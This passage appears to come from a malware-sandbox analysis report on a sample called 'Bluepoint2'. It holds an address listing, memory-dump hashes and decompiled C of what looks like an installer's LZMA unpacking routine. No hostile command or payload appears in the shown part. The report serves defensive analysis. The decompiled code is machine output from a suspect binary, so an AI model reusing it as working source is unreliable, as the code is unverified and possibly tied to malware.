                                                    							}
                                                    						}
                                                    					}
                                                    					goto L1;
                                                    				}
                                                    			}














                                                    0x00000000
                                                    0x00406ffe
                                                    0x00406ffe
                                                    0x00407002
                                                    0x00407023
                                                    0x0040702a
                                                    0x00407030
                                                    0x00407036
                                                    0x00407048
                                                    0x0040704e
                                                    0x00407053
                                                    0x00000000
                                                    0x00407004
                                                    0x0040700a
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040741c
                                                    0x00407420
                                                    0x004075cf
                                                    0x004075e5
                                                    0x004075ed
                                                    0x004075f4
                                                    0x004075f6
                                                    0x004075fd
                                                    0x00407601
                                                    0x00407601
                                                    0x0040742c
                                                    0x00407433
                                                    0x0040743b
                                                    0x0040743e
                                                    0x00407441
                                                    0x00407441
                                                    0x00407447
                                                    0x00407447
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406be3
                                                    0x00406bec
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x00000000
                                                    0x00406bfd
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c06
                                                    0x00406c09
                                                    0x00406c0c
                                                    0x00406c10
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c16
                                                    0x00406c19
                                                    0x00406c1b
                                                    0x00406c1c
                                                    0x00406c1f
                                                    0x00406c21
                                                    0x00406c22
                                                    0x00406c24
                                                    0x00406c27
                                                    0x00406c2c
                                                    0x00406c31
                                                    0x00406c3a
                                                    0x00406c4d
                                                    0x00406c50
                                                    0x00406c5c
                                                    0x00406c84
                                                    0x00406c86
                                                    0x00406c94
                                                    0x00406c94
                                                    0x00406c98
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c88
                                                    0x00406c8b
                                                    0x00406c8c
                                                    0x00406c8c
                                                    0x00000000
                                                    0x00406c88
                                                    0x00406c62
                                                    0x00406c67
                                                    0x00406c67
                                                    0x00406c70
                                                    0x00406c78
                                                    0x00406c7b
                                                    0x00000000
                                                    0x00406c81
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c81
                                                    0x00000000
                                                    0x00406c9e
                                                    0x00406c9e
                                                    0x00406ca2
                                                    0x0040754e
                                                    0x00000000
                                                    0x0040754e
                                                    0x00406cab
                                                    0x00406cbb
                                                    0x00406cbe
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc1
                                                    0x00406cc4
                                                    0x00406cc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00406cca
                                                    0x00406cd0
                                                    0x00406cfa
                                                    0x00406d00
                                                    0x00406d07
                                                    0x00000000
                                                    0x00406d07
                                                    0x00406cd6
                                                    0x00406cd9
                                                    0x00406cde
                                                    0x00406cde
                                                    0x00406ce9
                                                    0x00406cf1
                                                    0x00406cf4
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d39
                                                    0x00406d3f
                                                    0x00406d42
                                                    0x00406d4f
                                                    0x00406d57
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d0e
                                                    0x00406d0e
                                                    0x00406d12
                                                    0x0040755d
                                                    0x00000000
                                                    0x0040755d
                                                    0x00406d1e
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d29
                                                    0x00406d2c
                                                    0x00406d2f
                                                    0x00406d32
                                                    0x00406d37
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004073ce
                                                    0x004073ce
                                                    0x004073d4
                                                    0x004073da
                                                    0x004073e0
                                                    0x004073fa
                                                    0x004073fd
                                                    0x00407403
                                                    0x0040740e
                                                    0x00407410
                                                    0x004073e2
                                                    0x004073e2
                                                    0x004073f1
                                                    0x004073f5
                                                    0x004073f5
                                                    0x0040741a
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406d5f
                                                    0x00406d61
                                                    0x00406d64
                                                    0x00406dd5
                                                    0x00406dd8
                                                    0x00406ddb
                                                    0x00406de2
                                                    0x00406dec
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x00406d66
                                                    0x00406d6a
                                                    0x00406d6d
                                                    0x00406d6f
                                                    0x00406d72
                                                    0x00406d75
                                                    0x00406d77
                                                    0x00406d7a
                                                    0x00406d7c
                                                    0x00406d81
                                                    0x00406d84
                                                    0x00406d87
                                                    0x00406d8b
                                                    0x00406d92
                                                    0x00406d95
                                                    0x00406d9c
                                                    0x00406da0
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da8
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406da2
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406d97
                                                    0x00406dac
                                                    0x00406daf
                                                    0x00406dcd
                                                    0x00406dcf
                                                    0x00000000
                                                    0x00406db1
                                                    0x00406db1
                                                    0x00406db4
                                                    0x00406db7
                                                    0x00406dba
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbc
                                                    0x00406dbf
                                                    0x00406dc2
                                                    0x00406dc4
                                                    0x00406dc5
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00406dc8
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00407068
                                                    0x0040706c
                                                    0x0040708f
                                                    0x00407092
                                                    0x00407095
                                                    0x0040709f
                                                    0x0040706e
                                                    0x0040706e
                                                    0x00407071
                                                    0x00407074
                                                    0x00407077
                                                    0x00407084
                                                    0x00407087
                                                    0x00407087
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x00000000
                                                    0x004070ab
                                                    0x004070af
                                                    0x00000000
                                                    0x00000000
                                                    0x004070b5
                                                    0x004070b9
                                                    0x00000000
                                                    0x00000000
                                                    0x004070bf
                                                    0x004070c1
                                                    0x004070c5
                                                    0x004070c5
                                                    0x004070c8
                                                    0x004070cc
                                                    0x00000000
                                                    0x00000000
                                                    0x0040711c
                                                    0x00407120
                                                    0x00407127
                                                    0x0040712a
                                                    0x0040712d
                                                    0x00407137
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00407122
                                                    0x00000000
                                                    0x00000000
                                                    0x00407143
                                                    0x00407147
                                                    0x0040714e
                                                    0x00407151
                                                    0x00407154
                                                    0x00407149
                                                    0x00407149
                                                    0x00407149
                                                    0x00407157
                                                    0x0040715a
                                                    0x0040715d
                                                    0x0040715d
                                                    0x00407160
                                                    0x00407163
                                                    0x00407166
                                                    0x00407166
                                                    0x00407169
                                                    0x00407170
                                                    0x00407175
                                                    0x00000000
                                                    0x00000000
                                                    0x00407203
                                                    0x00407203
                                                    0x00407207
                                                    0x004075a5
                                                    0x00000000
                                                    0x004075a5
                                                    0x0040720d
                                                    0x00407210
                                                    0x00407213
                                                    0x00407217
                                                    0x0040721a
                                                    0x00407220
                                                    0x00407222
                                                    0x00407222
                                                    0x00407222
                                                    0x00407225
                                                    0x00407228
                                                    0x00000000
                                                    0x00000000
                                                    0x00406df8
                                                    0x00406df8
                                                    0x00406dfc
                                                    0x00407569
                                                    0x00000000
                                                    0x00407569
                                                    0x00406e02
                                                    0x00406e05
                                                    0x00406e08
                                                    0x00406e0c
                                                    0x00406e0f
                                                    0x00406e15
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e17
                                                    0x00406e1a
                                                    0x00406e1d
                                                    0x00406e1d
                                                    0x00406e20
                                                    0x00406e23
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e29
                                                    0x00406e2f
                                                    0x00000000
                                                    0x00000000
                                                    0x00406e35
                                                    0x00406e35
                                                    0x00406e39
                                                    0x00406e3c
                                                    0x00406e3f
                                                    0x00406e42
                                                    0x00406e45
                                                    0x00406e46
                                                    0x00406e49
                                                    0x00406e4b
                                                    0x00406e51
                                                    0x00406e54
                                                    0x00406e57
                                                    0x00406e5a
                                                    0x00406e5d
                                                    0x00406e60
                                                    0x00406e63
                                                    0x00406e7f
                                                    0x00406e82
                                                    0x00406e85
                                                    0x00406e88
                                                    0x00406e8f
                                                    0x00406e93
                                                    0x00406e95
                                                    0x00406e99
                                                    0x00406e65
                                                    0x00406e65
                                                    0x00406e69
                                                    0x00406e71
                                                    0x00406e76
                                                    0x00406e78
                                                    0x00406e7a
                                                    0x00406e7a
                                                    0x00406e9c
                                                    0x00406ea3
                                                    0x00406ea6
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eac
                                                    0x00000000
                                                    0x00406eb1
                                                    0x00406eb1
                                                    0x00406eb5
                                                    0x00407575
                                                    0x00000000
                                                    0x00407575
                                                    0x00406ebb
                                                    0x00406ebe
                                                    0x00406ec1
                                                    0x00406ec5
                                                    0x00406ec8
                                                    0x00406ece
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed0
                                                    0x00406ed3
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406ed6
                                                    0x00406edc
                                                    0x00000000
                                                    0x00000000
                                                    0x00406ede
                                                    0x00406ee1
                                                    0x00406ee4
                                                    0x00406ee7
                                                    0x00406eea
                                                    0x00406eed
                                                    0x00406ef0
                                                    0x00406ef3
                                                    0x00406ef6
                                                    0x00406ef9
                                                    0x00406efc
                                                    0x00406f14
                                                    0x00406f17
                                                    0x00406f1a
                                                    0x00406f1d
                                                    0x00406f1d
                                                    0x00406f20
                                                    0x00406f24
                                                    0x00406f26
                                                    0x00406efe
                                                    0x00406efe
                                                    0x00406f06
                                                    0x00406f0b
                                                    0x00406f0d
                                                    0x00406f0f
                                                    0x00406f0f
                                                    0x00406f29
                                                    0x00406f30
                                                    0x00406f33
                                                    0x00000000
                                                    0x00406f35
                                                    0x00000000
                                                    0x00406f35
                                                    0x00406f33
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00406f3a
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f75
                                                    0x00406f75
                                                    0x00406f79
                                                    0x00407581
                                                    0x00000000
                                                    0x00407581
                                                    0x00406f7f
                                                    0x00406f82
                                                    0x00406f85
                                                    0x00406f89
                                                    0x00406f8c
                                                    0x00406f92
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f94
                                                    0x00406f97
                                                    0x00406f9a
                                                    0x00406f9a
                                                    0x00406fa0
                                                    0x00406f3e
                                                    0x00406f3e
                                                    0x00406f41
                                                    0x00000000
                                                    0x00406f41
                                                    0x00406fa2
                                                    0x00406fa2
                                                    0x00406fa5
                                                    0x00406fa8
                                                    0x00406fab
                                                    0x00406fae
                                                    0x00406fb1
                                                    0x00406fb4
                                                    0x00406fb7
                                                    0x00406fba
                                                    0x00406fbd
                                                    0x00406fc0
                                                    0x00406fd8
                                                    0x00406fdb
                                                    0x00406fde
                                                    0x00406fe1
                                                    0x00406fe1
                                                    0x00406fe4
                                                    0x00406fe8
                                                    0x00406fea
                                                    0x00406fc2
                                                    0x00406fc2
                                                    0x00406fca
                                                    0x00406fcf
                                                    0x00406fd1
                                                    0x00406fd3
                                                    0x00406fd3
                                                    0x00406fed
                                                    0x00406ff4
                                                    0x00406ff7
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00406ff9
                                                    0x00000000
                                                    0x00407286
                                                    0x00407286
                                                    0x0040728a
                                                    0x004075b1
                                                    0x00000000
                                                    0x004075b1
                                                    0x00407290
                                                    0x00407293
                                                    0x00407296
                                                    0x0040729a
                                                    0x0040729d
                                                    0x004072a3
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a5
                                                    0x004072a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407056
                                                    0x00407056
                                                    0x00407059
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x00000000
                                                    0x00407395
                                                    0x00407399
                                                    0x004073bb
                                                    0x004073be
                                                    0x004073c8
                                                    0x004073cb
                                                    0x004073cb
                                                    0x004073cb
                                                    0x00000000
                                                    0x004073cb
                                                    0x004073cb
                                                    0x0040739b
                                                    0x0040739e
                                                    0x004073a2
                                                    0x004073a5
                                                    0x004073a5
                                                    0x004073a8
                                                    0x00000000
                                                    0x00000000
                                                    0x00407452
                                                    0x00407456
                                                    0x00407474
                                                    0x00407474
                                                    0x00407474
                                                    0x0040747b
                                                    0x00407482
                                                    0x00407489
                                                    0x00407489
                                                    0x00000000
                                                    0x00407489
                                                    0x00407458
                                                    0x0040745b
                                                    0x0040745e
                                                    0x00407461
                                                    0x00407468
                                                    0x004073ac
                                                    0x004073ac
                                                    0x004073af
                                                    0x00000000
                                                    0x00000000
                                                    0x00407543
                                                    0x00407546
                                                    0x00407447
                                                    0x00000000
                                                    0x00000000
                                                    0x0040717d
                                                    0x0040717f
                                                    0x00407186
                                                    0x00407187
                                                    0x00407189
                                                    0x0040718c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407194
                                                    0x00407197
                                                    0x0040719a
                                                    0x0040719c
                                                    0x0040719e
                                                    0x0040719e
                                                    0x0040719f
                                                    0x004071a2
                                                    0x004071a9
                                                    0x004071ac
                                                    0x004071ba
                                                    0x00000000
                                                    0x00000000
                                                    0x00407490
                                                    0x00407490
                                                    0x00407493
                                                    0x0040749a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040749f
                                                    0x0040749f
                                                    0x004074a3
                                                    0x004075db
                                                    0x00000000
                                                    0x004075db
                                                    0x004074a9
                                                    0x004074ac
                                                    0x004074af
                                                    0x004074b3
                                                    0x004074b6
                                                    0x004074bc
                                                    0x004074be
                                                    0x004074be
                                                    0x004074be
                                                    0x004074c1
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c4
                                                    0x004074c7
                                                    0x004074c7
                                                    0x004074cb
                                                    0x0040752b
                                                    0x0040752e
                                                    0x00407533
                                                    0x00407534
                                                    0x00407536
                                                    0x00407538
                                                    0x0040753b
                                                    0x00407447
                                                    0x00407447
                                                    0x00000000
                                                    0x0040744d
                                                    0x00407447
                                                    0x004074cd
                                                    0x004074d3
                                                    0x004074d6
                                                    0x004074d9
                                                    0x004074dc
                                                    0x004074df
                                                    0x004074e2
                                                    0x004074e5
                                                    0x004074e8
                                                    0x004074eb
                                                    0x004074ee
                                                    0x00407507
                                                    0x0040750a
                                                    0x0040750d
                                                    0x00407510
                                                    0x00407514
                                                    0x00407516
                                                    0x00407516
                                                    0x00407517
                                                    0x0040751a
                                                    0x004074f0
                                                    0x004074f0
                                                    0x004074f8
                                                    0x004074fd
                                                    0x004074ff
                                                    0x00407502
                                                    0x00407502
                                                    0x0040751d
                                                    0x00407524
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x00407526
                                                    0x00000000
                                                    0x004071c2
                                                    0x004071c5
                                                    0x004071fb
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732b
                                                    0x0040732e
                                                    0x0040732e
                                                    0x00407331
                                                    0x00407333
                                                    0x004075bd
                                                    0x00000000
                                                    0x004075bd
                                                    0x00407339
                                                    0x0040733c
                                                    0x00000000
                                                    0x00000000
                                                    0x00407342
                                                    0x00407346
                                                    0x00407349
                                                    0x00407349
                                                    0x00407349
                                                    0x00000000
                                                    0x00407349
                                                    0x004071c7
                                                    0x004071c9
                                                    0x004071cb
                                                    0x004071cd
                                                    0x004071d0
                                                    0x004071d1
                                                    0x004071d3
                                                    0x004071d5
                                                    0x004071d8
                                                    0x004071db
                                                    0x004071f1
                                                    0x004071f6
                                                    0x0040722e
                                                    0x0040722e
                                                    0x00407232
                                                    0x0040725e
                                                    0x00407260
                                                    0x00407267
                                                    0x0040726a
                                                    0x0040726d
                                                    0x0040726d
                                                    0x00407272
                                                    0x00407272
                                                    0x00407274
                                                    0x00407277
                                                    0x0040727e
                                                    0x00407281
                                                    0x004072ae
                                                    0x004072ae
                                                    0x004072b1
                                                    0x004072b4
                                                    0x00407328
                                                    0x00407328
                                                    0x00407328
                                                    0x00000000
                                                    0x00407328
                                                    0x004072b6
                                                    0x004072bc
                                                    0x004072bf
                                                    0x004072c2
                                                    0x004072c5
                                                    0x004072c8
                                                    0x004072cb
                                                    0x004072ce
                                                    0x004072d1
                                                    0x004072d4
                                                    0x004072d7
                                                    0x004072f0
                                                    0x004072f2
                                                    0x004072f5
                                                    0x004072f6
                                                    0x004072f9
                                                    0x004072fb
                                                    0x004072fe
                                                    0x00407300
                                                    0x00407302
                                                    0x00407305
                                                    0x00407307
                                                    0x0040730a
                                                    0x0040730e
                                                    0x00407310
                                                    0x00407310
                                                    0x00407311
                                                    0x00407314
                                                    0x00407317
                                                    0x004072d9
                                                    0x004072d9
                                                    0x004072e1
                                                    0x004072e6
                                                    0x004072e8
                                                    0x004072eb
                                                    0x004072eb
                                                    0x0040731a
                                                    0x00407321
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x004072ab
                                                    0x00000000
                                                    0x00407323
                                                    0x00000000
                                                    0x00407323
                                                    0x00407321
                                                    0x00407234
                                                    0x00407237
                                                    0x00407239
                                                    0x0040723c
                                                    0x0040723f
                                                    0x00407242
                                                    0x00407244
                                                    0x00407247
                                                    0x0040724a
                                                    0x0040724a
                                                    0x0040724d
                                                    0x0040724d
                                                    0x00407250
                                                    0x00407257
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x0040722b
                                                    0x00000000
                                                    0x00407259
                                                    0x00000000
                                                    0x00407259
                                                    0x00407257
                                                    0x004071dd
                                                    0x004071e0
                                                    0x004071e2
                                                    0x004071e5
                                                    0x00000000
                                                    0x00000000
                                                    0x00406f44
                                                    0x00406f44
                                                    0x00406f48
                                                    0x0040758d
                                                    0x00000000
                                                    0x0040758d
                                                    0x00406f4e
                                                    0x00406f51
                                                    0x00406f54
                                                    0x00406f57
                                                    0x00406f5a
                                                    0x00406f5d
                                                    0x00406f60
                                                    0x00406f62
                                                    0x00406f65
                                                    0x00406f68
                                                    0x00406f6b
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00406f6d
                                                    0x00000000
                                                    0x00000000
                                                    0x004070cf
                                                    0x004070cf
                                                    0x004070d3
                                                    0x00407599
                                                    0x00000000
                                                    0x00407599
                                                    0x004070d9
                                                    0x004070dc
                                                    0x004070df
                                                    0x004070e2
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e4
                                                    0x004070e7
                                                    0x004070ea
                                                    0x004070ed
                                                    0x004070f0
                                                    0x004070f3
                                                    0x004070f6
                                                    0x004070f7
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070f9
                                                    0x004070fc
                                                    0x004070ff
                                                    0x00407102
                                                    0x00407105
                                                    0x00407105
                                                    0x00407105
                                                    0x00407108
                                                    0x0040710a
                                                    0x0040710a
                                                    0x00000000
                                                    0x00000000
                                                    0x0040734c
                                                    0x0040734c
                                                    0x0040734c
                                                    0x00407350
                                                    0x00000000
                                                    0x00000000
                                                    0x00407356
                                                    0x00407359
                                                    0x0040735c
                                                    0x0040735f
                                                    0x00407361
                                                    0x00407361
                                                    0x00407361
                                                    0x00407364
                                                    0x00407367
                                                    0x0040736a
                                                    0x0040736d
                                                    0x00407370
                                                    0x00407373
                                                    0x00407374
                                                    0x00407376
                                                    0x00407376
                                                    0x00407376
                                                    0x00407379
                                                    0x0040737c
                                                    0x0040737f
                                                    0x00407382
                                                    0x00407385
                                                    0x00407389
                                                    0x0040738b
                                                    0x0040738e
                                                    0x00000000
                                                    0x00407390
                                                    0x0040710d
                                                    0x0040710d
                                                    0x00000000
                                                    0x0040710d
                                                    0x0040738e
                                                    0x004075c3
                                                    0x00000000
                                                    0x00000000
                                                    0x00406bf2
                                                    0x004075fa
                                                    0x004075fa
                                                    0x00000000
                                                    0x004075fa
                                                    0x00407447
                                                    0x004073ce
                                                    0x004073cb
                                                    0x00000000
                                                    0x00407002

                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
                                                    • Instruction ID: 4a3513360c1d1cc4287bdabe5afcaa460628bed3c0d7ae87261646ca99be8a9f
                                                    • Opcode Fuzzy Hash: 7ccf24f4e081119859c9f0e48baaaa1d38e3934f3a3b1d8a87677b84cb71901f
                                                    • Instruction Fuzzy Hash: 0D711271D04228DBEF28CF98C9947ADBBF1FB44305F14806AD856B7280D738A986DF05
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 98%
                                                    			E0040711C() {
                                                    				unsigned short _t531;
                                                    				signed int _t532;
                                                    				void _t533;
                                                    				signed int _t534;
                                                    				signed int _t535;
                                                    				signed int _t565;
                                                    				signed int _t568;
                                                    				signed int _t589;
                                                    				signed int* _t606;
                                                    				void* _t613;
                                                    
                                                    				L0:
                                                    				while(1) {
                                                    					L0:
                                                    					if( *(_t613 - 0x40) != 0) {
                                                    						 *(_t613 - 0x84) = 0xb;
                                                    						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
                                                    						goto L132;
                                                    					} else {
                                                    						__eax =  *(__ebp - 0x28);
                                                    						L88:
                                                    						 *(__ebp - 0x2c) = __eax;
                                                    						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    						L89:
                                                    						__eax =  *(__ebp - 4);
                                                    						 *(__ebp - 0x80) = 0x15;
                                                    						__eax =  *(__ebp - 4) + 0xa68;
                                                    						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                    						L69:
                                                    						 *(__ebp - 0x84) = 0x12;
                                                    						while(1) {
                                                    							L132:
                                                    							 *(_t613 - 0x54) = _t606;
                                                    							while(1) {
                                                    								L133:
                                                    								_t531 =  *_t606;
                                                    								_t589 = _t531 & 0x0000ffff;
                                                    								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                    								if( *(_t613 - 0xc) >= _t565) {
                                                    									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                    									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                    									 *(_t613 - 0x40) = 1;
                                                    									_t532 = _t531 - (_t531 >> 5);
                                                    									 *_t606 = _t532;
                                                    								} else {
                                                    									 *(_t613 - 0x10) = _t565;
                                                    									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    									 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                    								}
                                                    								if( *(_t613 - 0x10) >= 0x1000000) {
                                                    									goto L139;
                                                    								}
                                                    								L137:
                                                    								if( *(_t613 - 0x6c) == 0) {
                                                    									 *(_t613 - 0x88) = 5;
                                                    									L170:
                                                    									_t568 = 0x22;
                                                    									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                    									_t535 = 0;
                                                    									L172:
                                                    									return _t535;
                                                    								}
                                                    								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                    								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                    								L139:
                                                    								_t533 =  *(_t613 - 0x84);
                                                    								while(1) {
                                                    									 *(_t613 - 0x88) = _t533;
                                                    									while(1) {
                                                    										L1:
                                                    										_t534 =  *(_t613 - 0x88);
                                                    										if(_t534 > 0x1c) {
                                                    											break;
                                                    										}
                                                    										switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
                                                    											case 0:
                                                    												if( *(_t613 - 0x6c) == 0) {
                                                    													goto L170;
                                                    												}
                                                    												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    												_t534 =  *( *(_t613 - 0x70));
                                                    												if(_t534 > 0xe1) {
                                                    													goto L171;
                                                    												}
                                                    												_t538 = _t534 & 0x000000ff;
                                                    												_push(0x2d);
                                                    												asm("cdq");
                                                    												_pop(_t570);
                                                    												_push(9);
                                                    												_pop(_t571);
                                                    												_t609 = _t538 / _t570;
                                                    												_t540 = _t538 % _t570 & 0x000000ff;
                                                    												asm("cdq");
                                                    												_t604 = _t540 % _t571 & 0x000000ff;
                                                    												 *(_t613 - 0x3c) = _t604;
                                                    												 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                    												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                    												_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                    												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                    													L10:
                                                    													if(_t612 == 0) {
                                                    														L12:
                                                    														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                    														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    														goto L15;
                                                    													} else {
                                                    														goto L11;
                                                    													}
                                                    													do {
                                                    														L11:
                                                    														_t612 = _t612 - 1;
                                                    														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                    													} while (_t612 != 0);
                                                    													goto L12;
                                                    												}
                                                    												if( *(_t613 - 4) != 0) {
                                                    													GlobalFree( *(_t613 - 4));
                                                    												}
                                                    												_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                    												 *(_t613 - 4) = _t534;
                                                    												if(_t534 == 0) {
                                                    													goto L171;
                                                    												} else {
                                                    													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                    													goto L10;
                                                    												}
                                                    											case 1:
                                                    												L13:
                                                    												__eflags =  *(_t613 - 0x6c);
                                                    												if( *(_t613 - 0x6c) == 0) {
                                                    													 *(_t613 - 0x88) = 1;
                                                    													goto L170;
                                                    												}
                                                    												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                    												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    												_t45 = _t613 - 0x48;
                                                    												 *_t45 =  *(_t613 - 0x48) + 1;
                                                    												__eflags =  *_t45;
                                                    												L15:
                                                    												if( *(_t613 - 0x48) < 4) {
                                                    													goto L13;
                                                    												}
                                                    												_t546 =  *(_t613 - 0x40);
                                                    												if(_t546 ==  *(_t613 - 0x74)) {
                                                    													L20:
                                                    													 *(_t613 - 0x48) = 5;
                                                    													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                    													goto L23;
                                                    												}
                                                    												 *(_t613 - 0x74) = _t546;
                                                    												if( *(_t613 - 8) != 0) {
                                                    													GlobalFree( *(_t613 - 8));
                                                    												}
                                                    												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                    												 *(_t613 - 8) = _t534;
                                                    												if(_t534 == 0) {
                                                    													goto L171;
                                                    												} else {
                                                    													goto L20;
                                                    												}
                                                    											case 2:
                                                    												L24:
                                                    												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                    												 *(_t613 - 0x84) = 6;
                                                    												 *(_t613 - 0x4c) = _t553;
                                                    												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                                    												L132:
                                                    												 *(_t613 - 0x54) = _t606;
                                                    												goto L133;
                                                    											case 3:
                                                    												L21:
                                                    												__eflags =  *(_t613 - 0x6c);
                                                    												if( *(_t613 - 0x6c) == 0) {
                                                    													 *(_t613 - 0x88) = 3;
                                                    													goto L170;
                                                    												}
                                                    												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    												_t67 = _t613 - 0x70;
                                                    												 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                    												__eflags =  *_t67;
